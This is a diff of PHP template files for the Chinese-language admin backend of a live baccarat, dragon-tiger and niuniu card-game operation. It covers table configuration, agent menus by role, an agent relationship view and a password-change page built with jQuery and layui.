<div class="right_word">
<div class="is_check" id="scavenging">
<input name="scavenging" type="radio" {if $table_info.is_scavenging eq 1} checked{/if} value="1" />是
<input name="scavenging" type="radio" {if $table_info.is_scavenging eq 0} checked{/if} value="0" />否
<span class="help-inline">
<font color="red"> * 修改后必须重启webSocket 手动处理改为自动处理在提交结果后重启 自动处理改为手动处理在结束下注后重启 </font>
</span>
</div>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="username" name="username" type="text" value='{$table_info.username}' maxlength="50" minlength="3" class="required" disabled="disabled">
</div>
</div>
<div class="control-group">
<label class="control-label">新密码:</label>
<div class="controls">
<input id="newPassword" name="newPassword" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">确认新密码:</label>
<div class="controls">
<input id="confirmNewPassword" name="confirmNewPassword" type="text" value maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group" style="display: none;">
<label class="control-label">关联手机:</label>
<div class="controls">
<input id="phone" name="phone" type="text" value='{$table_info.phone}' class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">开牌间隔时间:</label>
<div class="controls">
<input id="interval_time" name="interval_time" type="text" value='{$table_info.interval_time}' class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">定位牌模式:</label>
<div class="controls">
<select name="card_first_type" id="card_first_type" style="width:310px;height:25px;">
<option value="0" <?php if($table_info['card_first_type'] == 0) echo 'selected="selected"';?> >扫牌</option>
<option value="1" <?php if($table_info['card_first_type'] == 1) echo 'selected="selected"';?> >骰子</option>
</select>
<span class="help-inline">
<font color="red">*牛牛或者三卡牛牛的定位牌模式,百家乐龙虎不起作用</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='info_submit'>保存</div>
</div>
</div>
</div>
<input type="hidden" id="table_id" value="{$table_info.id}">
</body>
<script type="text/javascript">
$('.info_submit').click(function(){
var query = new Object();
query.table_num = $('#table_num').val();
query.table_name = $('#table_name').val();
query.table_id = $('#table_id').val();
query.bet_type = $('#bet_type').val();
query.seat_num = $('#seat_num').val();
query.min_bankerplayer = $('#min_bankerplayer').val();
query.max_bankerplayer = $('#max_bankerplayer').val();
query.min_tie = $('#min_tie').val();
query.max_tie = $('#max_tie').val();
query.min_pair = $('#min_pair').val();
query.max_pair = $('#max_pair').val();
query.newPassword = $('#newPassword').val();
query.confirmNewPassword = $('#confirmNewPassword').val();
query.wait_time = $('#wait_time').val();
query.is_scavenging = $('#scavenging').find("input:checked").attr("value");
query.phone = $('#phone').val();
game_id = {$table_info.game_id};
if(query.table_num == '' || query.table_num == null){
layer.alert('请填写桌台号!');
return false;
}
if(parseInt(query.table_num) <= 0){
layer.alert('桌台号只能填写大于0的数字!');
return false;
}
if(query.table_name == '' || query.table_name == null){
layer.alert('请填写桌台名称!');
return false;
}
if(query.bet_type <= 0){
layer.alert('请选择投注方式!');
return false;
}
if((query.min_bankerplayer == '' || query.min_bankerplayer == null)||(query.max_bankerplayer == '' || query.max_bankerplayer == null)){
layer.alert('请填写完整网络-庄闲限红!');
return false;
}
if(game_id == 1 || game_id == 2){
if((query.min_tie == '' || query.min_tie == null)||(query.max_tie == '' || query.max_tie == null)){
layer.alert('请填写完整网络-和限红!');
return false;
}
}
if(game_id == 1){
if((query.min_pair == '' || query.min_pair == null)||(query.max_pair == '' || query.max_pair == null)){
layer.alert('请填写完整网络-对限红!');
return false;
}
}
if(query.wait_time == '' || query.wait_time == null){
layer.alert('请填写下注时间!');
return false;
}
if(query.newPassword){
if(query.newPassword.length < 6 || query.newPassword.length >20){
layer.alert('新密码长度必须是6到20个字符!');
return false;
}
if(query.confirmNewPassword == '' || query.confirmNewPassword == null){
layer.alert('请再次输入密码!');
return false;
}
if(query.newPassword != query.confirmNewPassword){
layer.alert('两次输入的密码不一致!');
return false;
}
}
if(query.confirmNewPassword){
if(query.newPassword == '' || query.newPassword == null){
layer.alert('请填写新密码!');
return false;
}
}
// 视频地址
query.media_far_rtmp = $('#media_far_rtmp').val();
query.media_far_flv = $('#media_far_flv').val();
query.media_far_ws = $('#media_far_ws').val();
query.media_near_rtmp = $('#media_near_rtmp').val();
query.media_near_flv = $('#media_near_flv').val();
query.media_near_ws = $('#media_near_ws').val();
query.limit_money_total = $('#limit_money_total').val();
query.limit_money_tie_total = $('#limit_money_tie_total').val();
query.limit_money_pair_total = $('#limit_money_pair_total').val();
query.interval_time = $('#interval_time').val();
query.card_first_type = $('#card_first_type').val();
query.sort = $('#sort').val();
$.ajax({
url:"/game/do_edit_table_info",
type:"POST",
dataType:"JSON",
data:query,
success:function(data){
if(data.status == 1 ){
layer.alert(data.code);
}else{
layer.alert(data.code,function(){
location.reload();
});
}
}
});
});
</script>
</html>
+83
View File
@@ -0,0 +1,83 @@
{include file="public/header"}
<body>
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .table_list{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative;} .change_box .table_add{color: #3daae9;} .change_box .table_list:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } </style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="table_list">吧台列表</a>
<a href="/game/add_table" class="table_add">吧台添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>网络ID号</th>
<th>吧台号</th>
<th>吧台名称</th>
<th>游戏类型</th>
<th>投注方式</th>
<th>座位数</th>
<th>操作账号</th>
<th>开牌等待时间</th>
<th>是否扫牌</th>
<th>总发牌次数</th>
<th>总洗牌次数</th>
<th>备注</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="table_info" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.table_num}</td>
<td>{$vo.table_name}</td>
<td>{$vo.game_name}</td>
<td>{$vo.bet_type}</td>
<td>{$vo.seat_num}</td>
<td>{$vo.username}</td>
<td>{$vo.wait_time}</td>
<td>{if $vo.is_scavenging eq 0}否{else}是{/if}</td>
<td>{$vo.number_total}</td>
<td>{if $vo.boot_total eq ''}0{else}{$vo.boot_total}{/if}</td>
<td><?php if($vo['is_localhost_control'] == 1){echo '本地控制';}else{echo '网络控制';} ?></td>
<td><?php if($vo['status'] == 1){echo '<span style="color:#139E5B">开启中</span>';}else{echo '<span style="color:#FF3B30">关停中</span>';} ?></td>
<td class="td-manage">
<a onclick="delete_table({$vo.id});" style="color:#1E90FF; cursor:pointer; text-decoration:underline; margin-right:20px;">停开 / 开台</a>
<a href="/game/edit_table_info?table_id={$vo.id}" style="color:#1E90FF; cursor:pointer; text-decoration:underline;">修改</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
</div>
<script type="text/javascript">
function delete_table(table_id){
layer.confirm('是否要更改该桌子',{btn: ['确定','取消']}, function(index){
var query = new Object();
query.table_id = parseInt(table_id);
$.ajax({
url:"/game/delete_table",
type:"POST",
dataType:"JSON",
data:query,
success:function(data){
if(data.Success == 1){
layer.msg(data.Msg);
setTimeout("window.location.reload();", 2000);
}else{
layer.msg(data.Msg);
}
}
});
layer.close(index);
});
}
</script>
</body>
</html>
+348
View File
@@ -0,0 +1,348 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>后台管理中心</title>
<meta name="renderer" content="webkit|ie-comp|ie-stand">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
<link rel="stylesheet" href="/static/admin/css/font.css">
<link rel="stylesheet" href="/static/admin/css/xadmin.css">
<script type="text/javascript" src="/static/admin/js/jquery-3.3.1.min.js"></script>
<script src="/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/static/admin/js/xadmin.js"></script>
</head>
<style>.layui-nav {padding: 0 10px;}</style>
<body>
<audio id="tk_notice" src="/static/admin/tk_notice.mp3" preload hidden="true"></audio>
<!-- 顶部开始 -->
<div class="container">
<div class="logo"><a href="./index.html">后台管理中心</a></div>
<div class="left_open">
<i title="展开左侧栏" class="iconfont">&#xe699;</i>
</div>
<ul class="layui-nav left" >
<li class="layui-nav-item layui-this" id="mypanel"><a href="javascript:;">我的面板</a></li>
<li class="layui-nav-item" id="operate"><a href="javascript:;">运营管理</a></li>
<?php if($user_info['role'] == 0 || $user_info['role'] == 1) : ?>
<li class="layui-nav-item" id="configure"><a href="javascript:;">游戏配置</a></li>
<?php endif; ?>
</ul>
<ul class="layui-nav right">
<li class="layui-nav-item"><a href="javascript:;">{$admin}</a><dl class="layui-nav-child"><dd><a href="/login/logout">退出登录</a></dd></dl></li>
<li class="layui-nav-item to-index"><a href="/">后台首页</a></li>
</ul>
</div>
<!-- 顶部结束 -->
<!-- 中部开始 -->
<!-- 左侧菜单开始 -->
<div class="left-nav">
<div id="side-nav">
<ul id="nav">
<div id="mypanel_list">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">个人信息</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li class="actived" id="info_index"><a _href="/info/index"><i class="iconfont">&#xe6b8;</i><cite>个人信息</cite></a></li>
<li id='info_pass_edit'><a _href="/info/pass_edit"><i class="iconfont">&#59435;</i><cite>修改密码</cite></a></li>
</ul>
</li>
</div>
<?php if($user_info['role'] == 0) : ?>
<!-- admin -->
<div id="operate_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">代理管理</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li class="actived"><a _href="/agent/index"><i class="iconfont">&#59212;</i><cite>代理管理</cite></a></li>
<li><a _href="/agent/scores"><i class="iconfont">&#59224;</i><cite>上下分查询</cite></a></li>
<li><a _href="/report/user_recharge"><i class="iconfont">&#59224;</i><cite>充值提现查询</cite></a></li>
<li><a _href="/xima/xima_check"><i class="iconfont">&#59132;</i><cite>洗码查询</cite></a></li>
<li><a _href="/cs/cs_check"><i class="iconfont">&#59132;</i><cite>占股查询</cite></a></li>
<li><a _href="/agent/profit"><i class="iconfont">&#59224;</i><cite>收益查询</cite></a></li>
<li><a _href="/log/index"><i class="iconfont">&#59033;</i><cite>操作日志</cite></a></li>
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">系统管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/memo/memo"><i class="iconfont">&#59068;</i><cite>公告管理</cite></a></li>
<li><a _href="/log/scan_admin"><i class="iconfont">&#59174;</i><cite>扫描用户管理</cite></a></li>
<li><a _href="/log/api_admin"><i class="iconfont">&#59174;</i><cite>接口用户管理</cite></a></li>
<li><a _href="/log/admin"><i class="iconfont">&#59033;</i><cite>代理操作日志</cite></a></li>
<li><a _href="/log/user_login"><i class="iconfont">&#59033;</i><cite>用户登录日志</cite></a></li>
<li><a _href="/admin/admin_print"><i class="iconfont">&#59033;</i><cite>后台用户列表</cite></a></li>
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">游戏管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/table/edit_numberTab"><i class="iconfont">&#59033;</i><cite>牌桌结果修改记录</cite></a></li>
<!-- <li><a _href="/table/baccarat"><i class="iconfont">&#59130;</i><cite>百家乐桌子账目</cite></a></li>-->
<!-- <li><a _href="/table/dt"><i class="iconfont">&#59130;</i><cite>龙虎斗桌子账目</cite></a></li>-->
<!-- <li><a _href="/table/nn"><i class="iconfont">&#59130;</i><cite>牛牛桌子账目</cite></a></li>-->
<!-- <li><a _href="/player/baccarat_record"><i class="iconfont">&#59042;</i><cite>百家乐游戏记录管理</cite></a></li>-->
<!-- <li><a _href="/player/dt_record"><i class="iconfont">&#59042;</i><cite>龙虎斗游戏记录管理</cite></a></li>-->
<!-- <li><a _href="/player/nn_record"><i class="iconfont">&#59042;</i><cite>牛牛游戏记录管理</cite></a></li>-->
<!-- <li><a _href="/waybill/baccarat"><i class="iconfont">&#59054;</i><cite>百家乐路单修改</cite></a></li>-->
<!-- <li><a _href="/waybill/dt"><i class="iconfont">&#59130;</i><cite>龙虎斗路单修改</cite></a></li>-->
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">充值管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/Recharge/index"><i class="iconfont">&#59130;</i><cite>收款信息列表</cite></a></li>
<li><a _href="/Recharge/recharge_record"><i class="iconfont">&#59130;</i><cite>充值提现记录</cite></a></li>
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">网投管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/Tip/index"><i class="iconfont">&#59130;</i><cite>打赏信息列表</cite></a></li>
<li><a _href="/Tip/optimum"><i class="iconfont">&#59130;</i><cite>今日最佳记录</cite></a></li>
</ul>
</li>
</div>
<div id="configure_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">游戏配置</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li><a _href="/game/index"><i class="iconfont">&#59449;</i><cite>吧台配置</cite></a></li>
<li><a _href="/recharge/setting"><i class="iconfont">&#59449;</i><cite>充值提现配置</cite></a></li>
</ul>
</li>
</div>
<?php elseif($user_info['role'] == 1) : ?>
<!-- jiankong -->
<div id="operate_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">代理管理</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li><a _href="/player/user_online"><i class="iconfont">&#59042;</i><cite>在线玩家</cite></a></li>
<li><a _href="/log/index"><i class="iconfont">&#59033;</i><cite>操作日志</cite></a></li>
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">系统管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/memo/memo"><i class="iconfont">&#59068;</i><cite>公告管理</cite></a></li>
<li><a _href="/memo/activity"><i class="iconfont">&#59108;</i><cite>活动管理</cite></a></li>
<li><a _href="/log/scan_admin"><i class="iconfont">&#59174;</i><cite>扫描用户管理</cite></a></li>
<li><a _href="/log/admin"><i class="iconfont">&#59033;</i><cite>代理操作日志</cite></a></li>
<li><a _href="/log/user_login"><i class="iconfont">&#59033;</i><cite>用户登录日志</cite></a></li>
</ul>
</li>
<li>
<a href="javascript:;">
<cite class="main-nav">游戏管理</cite>
<i class="iconfont nav_right">&#xe697;</i>
</a>
<ul class="sub-menu">
<li><a _href="/player/baccarat_record"><i class="iconfont">&#59042;</i><cite>百家乐游戏记录管理</cite></a></li>
<li><a _href="/player/dt_record"><i class="iconfont">&#59042;</i><cite>龙虎斗游戏记录管理</cite></a></li>
<li><a _href="/player/nn_record"><i class="iconfont">&#59042;</i><cite>牛牛游戏记录管理</cite></a></li>
<li><a _href="/waybill/baccarat"><i class="iconfont">&#59054;</i><cite>百家乐路单修改</cite></a></li>
<li><a _href="/waybill/dt"><i class="iconfont">&#59130;</i><cite>龙虎斗路单修改</cite></a></li>
</ul>
</li>
</div>
<div id="configure_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">游戏配置</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li><a _href="/game/index"><i class="iconfont">&#59449;</i><cite>吧台配置</cite></a></li>
</ul>
</li>
</div>
<?php elseif($user_info['role'] == 2) : ?>
<!-- dl -->
<div id="operate_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">代理管理</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li class="actived"><a _href="/agent/index"><i class="iconfont">&#59212;</i><cite>代理管理</cite></a></li>
</ul>
</li>
</div>
<?php elseif($user_info['role'] == 3) : ?>
<!-- sf -->
<div id="operate_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">代理管理</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li class="actived"><a _href="/agent/index"><i class="iconfont">&#59212;</i><cite>代理管理</cite></a></li>
<li><a _href="/agent/scores"><i class="iconfont">&#59224;</i><cite>上下分查询</cite></a></li>
<li><a _href="/xima/xima_check"><i class="iconfont">&#59132;</i><cite>洗码查询</cite></a></li>
</ul>
</li>
</div>
<?php elseif($user_info['role'] == 4) : ?>
<!-- sw -->
<div id="operate_list" style="display: none;">
<li class="open">
<a href="javascript:;">
<cite class="main-nav">代理管理</cite>
<i class="iconfont nav_right">&#59046;</i>
</a>
<ul class="sub-menu" style="display:block;">
<li class="actived"><a _href="/agent/index"><i class="iconfont">&#59212;</i><cite>代理管理</cite></a></li>
<li><a _href="/agent/scores"><i class="iconfont">&#59224;</i><cite>上下分查询</cite></a></li>
<li class="actived"><a _href="/xima/index"><i class="iconfont">&#59212;</i><cite>洗码管理</cite> </a></li>
<li><a _href="/xima/xima_check"><i class="iconfont">&#59132;</i><cite>洗码查询</cite></a></li>
<li class="actived"><a _href="/cs/index"><i class="iconfont">&#59212;</i><cite>占股管理</cite></a></li>
<li><a _href="/cs/cs_check"><i class="iconfont">&#59132;</i><cite>占股查询</cite></a></li>
<li><a _href="/report/profit"><i class="iconfont">&#59125;</i><cite>收益报表</cite></a></li>
</ul>
</li>
</div>
<?php endif; ?>
</ul>
</div>
</div>
<!-- <div class="x-slide_left"></div> -->
<!-- 左侧菜单结束 -->
<!-- 隐藏参数 -->
<input type="hidden" id="agent-add-label" value="/agent/agent_add">
<!-- 右侧主体开始 -->
<div class="page-content">
<div class="layui-tab tab" lay-filter="xbs_tab" lay-allowclose="false">
<ul class="layui-tab-title">
<li>个人信息</li>
</ul>
<div class="layui-tab-content">
<div class="layui-tab-item layui-show">
<iframe src='/info/index' frameborder="0" scrolling="yes" class="x-iframe" id="x-iframe"></iframe>
</div>
</div>
</div>
</div>
<div class="page-content-bg"></div>
<!-- 右侧主体结束 -->
<!-- 中部结束 -->
<!-- 底部开始 -->
<div class="footer"></div>
<script type="text/javascript">
function check_cashout(){
var query = new Object();
$.ajax({
url:"/index/check_cashout",
type:"POST",
dataType:"JSON",
data:query,
success:function(data){
if(data.code == 1){
var tk_notice = document.getElementById('tk_notice');
tk_notice.play();
}else{
}
}
});
}
$(function (){
setInterval(()=>{
check_cashout();
},60000);
})
// 我的面板
$('#mypanel').click(function(){
// 展开侧边栏盒子
$('#mypanel_list').show().siblings().hide();
// 默认展开盒子内第一个大类
$('#mypanel_list').find('.sub-menu').hide().eq(0).show();
$('#mypanel_list').find('.nav_right').html('&#xe697;').eq(0).html('&#59046;');
// 左边导航栏默认第一个高亮显示
$('#mypanel_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
});
// 运营管理
$('#operate').click(function(){
// 展开侧边栏盒子
$('#operate_list').show().siblings().hide();
// 默认展开盒子内第一个大类
$('#operate_list').find('.sub-menu').hide().eq(0).show();
$('#operate_list').find('.nav_right').html('&#xe697;').eq(0).html('&#59046;');
// 左边导航栏默认第一个高亮显示
$('#operate_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
});
// 游戏配置
$('#configure').click(function(){
// 展开侧边栏盒子
$('#configure_list').show().siblings().hide();
// 默认展开盒子内第一个大类
$('#configure_list').find('.sub-menu').hide().eq(0).show();
$('#configure_list').find('.nav_right').html('&#xe697;').eq(0).html('&#59046;');
// 左边导航栏默认第一个高亮显示
$('#configure_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
});
// 系统设置
$('#install').click(function(){
// 展开侧边栏盒子
$('#install_list').show().siblings().hide();
// 默认展开盒子内第一个大类
$('#install_list').find('.sub-menu').hide().eq(0).show();
$('#install_list').find('.nav_right').html('&#xe697;').eq(0).html('&#59046;');
// 左边导航栏默认第一个高亮显示
$('#install_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
});
// 点击后左侧导航栏高亮显示
$('.sub-menu li').click(function(){
$('.sub-menu li').removeClass('actived');
$(this).addClass('actived');
});
// 点击顶部导航栏显示页面
$('.container li').click(function(){
var id = $(this).attr('id');
$('#'+id+'_list').find('.sub-menu').find('li').eq(0).trigger('click');
});
// iframe页面触发父页面的跳转
$('#agent-add-label').click(function(){
alert(1111)
var url = $(this).val();
console.log($('.x-frame'))
$('#x-iframe').location.href = url;
})
</script>
</body>
</html>
@@ -0,0 +1,57 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>后台管理系统</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
<link rel="stylesheet" href="/static/agent/css/font.css">
<link rel="stylesheet" href="/static/agent/css/xadmin.css">
<script type="text/javascript" src="/static/agent/js/jquery.min.js"></script>
<script type="text/javascript" src="/static/agent/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/static/agent/js/xadmin.js"></script>
<!-- 让IE8/9支持媒体查询,从而兼容栅格 -->
<!--[if lt IE 9]>
<script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script>
<script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<style>
.x-body{padding-top:20px;width:96%;margin:10px 2%;}
.iconfont{color:#5FB878;position:relative;top:-25px;left:-10px;}
.username{position:relative;top:-50px;left:20px;}
.line-ul{padding-top:20px;}
.line-li{border-left:1px solid #ccc;margin-top:18px;}
</style>
</head>
<body>
<div class="x-body">
<fieldset class="layui-elem-field">
<legend>关系结构</legend>
<div class="layui-field-box">
<table class="layui-table">
<tbody>
<ul class="line-ul">
{foreach name="$relation" item="vo"}
<li class="line-li">
<i class="icon iconfont">O</i>
<div class="username">
<b>{$vo.username}</b>
<span>({$vo.nickname})</span>
<span style="color:{$vo.color}">({$vo.agent})</span>
<div>创建日期:{$vo.reg_time}</div>
</div>
</li>
{/foreach}
</ul>
</tbody>
</table>
</div>
</fieldset>
</div>
</body>
</html>
+85
View File
@@ -0,0 +1,85 @@
{include file="public/header"}
<body>
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .person_info{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .person_info:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .info_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="person_info">个人信息</a>
<a href="javascript:;" class="pass_edit">修改密码</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from" class="form-horizontal">
<div class="control-group">
<label class="control-label">上次登录:</label>
<div class="controls" style="padding-top: 5px;">
<label class="lbl">IP: {$last_login_info['last_login_ip']}&nbsp;&nbsp;&nbsp;&nbsp;时间:{$last_login_info['last_login_time']}</label>
</div>
</div>
<!--
<div class="control-group">
<label class="control-label">娱乐场名称:</label>
<div class="controls">
<input id="casino_name" name="casino_name" type="text" value="{$system_info.casino_name}" maxlength="50">
</div>
</div>
<div class="control-group">
<label class="control-label">ws链接:</label>
<div class="controls">
<input id="ws_url" name="ws_url" type="text" value="{$system_info.ws_url}">
</div>
</div>
<div class="control-group">
<label class="control-label">PC大堂视频连接:</label>
<div class="controls">
<input id="pc_video" name="pc_video" type="text" value="{$system_info.pc_video}">
</div>
</div>
<div class="control-group">
<label class="control-label">WAP大堂视频连接:</label>
<div class="controls">
<input id="wap_video" name="wap_video" type="text" value="{$system_info.wap_video}">
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='info_submit'>保存</div>
</div>
</div>
-->
</div>
</body>
<script type="text/javascript">
$('.info_submit').click(function(){
var casino_name = $('#casino_name').val();
var ws_url = $('#ws_url').val();
var pc_video = $('#pc_video').val();
var wap_video = $('#wap_video').val();
if(casino_name == '' || ws_url == '' || pc_video == '' || wap_video ==''){
layer.alert('请完整填写资料!');
return false;
}
$.ajax({
url:"/info/update_info",
type:"POST",
dataType:"JSON",
data:{casino_name:casino_name,ws_url:ws_url,pc_video:pc_video,wap_video:wap_video},
success:function(data){
layer.alert(data.code,function(){
location.reload();
});
}
});
});
$('.person_info').click(function(){
$('#info_index',window.parent.document).trigger('click');
});
$('.pass_edit').click(function(){
$('#info_pass_edit',window.parent.document).trigger('click');
});
</script>
</html>
+100
View File
@@ -0,0 +1,100 @@
{include file="public/header"}
<body>
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .pass_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="person_info">个人信息</a>
<a href="javascript:;" class="pass_edit">修改密码</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">旧密码:</label>
<div class="controls">
<input id="oldPassword" name="oldPassword" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">新密码:</label>
<div class="controls">
<input id="newPassword" name="newPassword" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认新密码:</label>
<div class="controls">
<input id="confirmNewPassword" name="confirmNewPassword" type="password" value maxlength="50" minlength="3" class="required" equalto="#newPassword"><span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='pass_submit'>保存</div>
</div>
</div>
</div>
</body>
<script type="text/javascript">
$('.pass_submit').click(function(){
var oldPassword = $('#oldPassword').val();
var newPassword = $('#newPassword').val();
var confirmNewPassword = $('#confirmNewPassword').val();
if(oldPassword == '' || oldPassword == null){
layer.alert('请填写旧密码!');
return false;
}
if(newPassword == '' || newPassword == null){
layer.alert('请填写新密码!');
return false;
}
if(newPassword.length < 6 || newPassword.length >20){
layer.alert('新密码长度必须是6到20个字符');
return false;
}
if(confirmNewPassword == '' || confirmNewPassword == null){
layer.alert('请再次填写新密码!');
return false;
}
if(newPassword != confirmNewPassword){
layer.alert('两次输入的密码不一致!');
return false;
}
var id = {$user_info['id']};
$.ajax({
url:"/info/update_password",
type:"POST",
dataType:"JSON",
data:{id:id,oldPassword:oldPassword,newPassword:newPassword,confirmNewPassword:confirmNewPassword},
success:function(data){
if(data.status == 1){
layer.alert(data.code);
}else{
layer.alert(data.code);
$('#oldPassword').val('');
$('#newPassword').val('');
$('#confirmNewPassword').val('');
}
}
});
});
$('.person_info').click(function(){
$('#info_index',window.parent.document).trigger('click');
});
$('.pass_edit').click(function(){
